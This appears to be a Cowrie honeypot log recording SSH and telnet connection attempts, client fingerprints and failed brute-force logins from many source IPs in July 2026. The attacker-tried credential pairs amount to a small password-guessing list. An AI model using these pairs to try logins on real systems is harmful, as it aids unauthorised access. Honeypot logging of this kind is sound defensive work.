{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:aa:c9:41:80:f4:e8:bf:84:ce:f5:72:b4:d7:49:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt2l4Ty82ghs/fWFqdmGQNAoeRf8gYmoTRDHEXvx8mJK4xFzynfTtE0E0xHGdbMMKgeOMKLYYc7mkP3oB8QlE+GBD10cz5R6VKXPG+Ks150pLvLPYLfsibLLj0QycOuPY7AQZ0p6JmTcxDFJCfAXErHktluiTb4M/tozkTZMjHPMUMxSmNCm/YYlniYZLK3V9fqLdHe4LxzmKwKHkb56AZNGxvaa2yequ7QBuLTkKmStUbVrlms9GuloLKDkU7o9f/F1FwaonfKoG8obfDadv1KM4uUjHcA9mfA1iodwMPw+tjJW5TPjbARIJB3IuY0IaCkabnMUkrwVExoafLPSp6kVcJbRaEnTXoQtAyDgX86D76ScLLkOQg0DFjdt9LBt+OwKi8urGlPn9qUutCIbQ98JJzHXzHg4XMCg6eFFN7xzUE9FhEQxWbf4mq71BAO0RBVaVwqioGRfH3ER/rOHW30X93m7monkmMYeUmyuNZ2z8FfOBC4PCGJyEnS7vY+zs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.225248Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.295806Z","src_ip":"107.173.146.37","session":"20218c3c68b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:08.469886Z","src_ip":"193.37.70.224","session":"9347c9a3b028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":50692,"dst_ip":"159.203.135.109","dst_port":22,"session":"4518aacd32e2","protocol":"ssh","message":"New connection: 103.122.221.179:50692 (159.203.135.109:22) [session: 4518aacd32e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:09.181855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:09.185244Z","src_ip":"103.122.221.179","session":"4518aacd32e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:09.439945Z","src_ip":"103.122.221.179","session":"4518aacd32e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02061977","message":"login attempt [root/02061977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:10.212580Z","src_ip":"103.122.221.179","session":"4518aacd32e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:11.470842Z","src_ip":"103.122.221.179","session":"4518aacd32e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:21.127986Z","src_ip":"8.210.75.243","session":"ed999f7e3258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:44.850219Z","src_ip":"8.210.75.243","session":"610eb068de0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":41746,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d75acf3ac4b","protocol":"ssh","message":"New connection: 122.176.122.24:41746 (10.17.0.5:22) [session: 7d75acf3ac4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:50.199118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:50.202902Z","src_ip":"122.176.122.24","session":"7d75acf3ac4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:50.485624Z","src_ip":"122.176.122.24","session":"7d75acf3ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":52692,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff3021fc39f2","protocol":"ssh","message":"New connection: 87.106.29.151:52692 (10.17.0.5:22) [session: ff3021fc39f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:50.708668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:50.712433Z","src_ip":"87.106.29.151","session":"ff3021fc39f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:50.809219Z","src_ip":"87.106.29.151","session":"ff3021fc39f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:51.233736Z","src_ip":"87.106.29.151","session":"ff3021fc39f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#EDCVFR$","message":"login attempt [root/#EDCVFR$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:51.646629Z","src_ip":"122.176.122.24","session":"7d75acf3ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:52.332997Z","src_ip":"87.106.29.151","session":"ff3021fc39f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:52.930890Z","src_ip":"122.176.122.24","session":"7d75acf3ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:56:58.353490Z","src_ip":"8.210.75.243","session":"30121f15ef39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57164,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd0f9e14cc2","protocol":"ssh","message":"New connection: 8.210.75.243:57164 (10.17.0.5:22) [session: 6fd0f9e14cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:05.013308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:05.540236Z","src_ip":"8.210.75.243","session":"6fd0f9e14cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":45452,"dst_ip":"10.17.0.5","dst_port":22,"session":"f441f4b4f93e","protocol":"ssh","message":"New connection: 152.200.205.179:45452 (10.17.0.5:22) [session: f441f4b4f93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:20.969077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:20.972460Z","src_ip":"152.200.205.179","session":"f441f4b4f93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:21.067663Z","src_ip":"152.200.205.179","session":"f441f4b4f93e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qweasdzxc","message":"login attempt [user/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:21.477924Z","src_ip":"152.200.205.179","session":"f441f4b4f93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:22.575138Z","src_ip":"152.200.205.179","session":"f441f4b4f93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:27.241300Z","src_ip":"8.210.75.243","session":"c0de0df733bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41038,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd26eba171d","protocol":"ssh","message":"New connection: 8.210.75.243:41038 (10.17.0.5:22) [session: 9cd26eba171d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:38.250784Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":54250,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d1624dd109","protocol":"ssh","message":"New connection: 91.92.40.4:54250 (10.17.0.5:22) [session: 14d1624dd109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:39.361069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:39.364268Z","src_ip":"91.92.40.4","session":"14d1624dd109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:39.444232Z","src_ip":"91.92.40.4","session":"14d1624dd109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e","message":"login attempt [git/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:39.687156Z","src_ip":"91.92.40.4","session":"14d1624dd109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":38864,"dst_ip":"10.17.0.5","dst_port":22,"session":"e622d8932390","protocol":"ssh","message":"New connection: 105.27.148.94:38864 (10.17.0.5:22) [session: e622d8932390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:39.874639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:39.878241Z","src_ip":"105.27.148.94","session":"e622d8932390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:40.089345Z","src_ip":"105.27.148.94","session":"e622d8932390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40712,"dst_ip":"159.203.135.109","dst_port":23,"session":"643fb2faa026","protocol":"telnet","message":"New connection: 170.64.224.25:40712 (159.203.135.109:23) [session: 643fb2faa026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:40.126539Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:40.769202Z","src_ip":"91.92.40.4","session":"14d1624dd109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd...","message":"login attempt [root/P@ssw0rd...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:40.969815Z","src_ip":"105.27.148.94","session":"e622d8932390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:42.183587Z","src_ip":"105.27.148.94","session":"e622d8932390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53130,"dst_ip":"10.17.0.5","dst_port":22,"session":"277ee24ac9e3","protocol":"ssh","message":"New connection: 8.210.75.243:53130 (10.17.0.5:22) [session: 277ee24ac9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:57:58.918745Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51802,"dst_ip":"159.203.135.109","dst_port":23,"session":"d125b231d1a1","protocol":"telnet","message":"New connection: 107.6.151.170:51802 (159.203.135.109:23) [session: d125b231d1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:00.844402Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":37168,"dst_ip":"159.203.135.109","dst_port":22,"session":"0182c9bdb603","protocol":"ssh","message":"New connection: 198.1.93.192:37168 (159.203.135.109:22) [session: 0182c9bdb603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:07.538029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:07.541482Z","src_ip":"198.1.93.192","session":"0182c9bdb603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:07.629987Z","src_ip":"198.1.93.192","session":"0182c9bdb603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ttr3x$S3cur3@W0rd","message":"login attempt [root/B1ttr3x$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:58:07.897062Z","src_ip":"198.1.93.192","session":"0182c9bdb603","protocol":"ssh"}
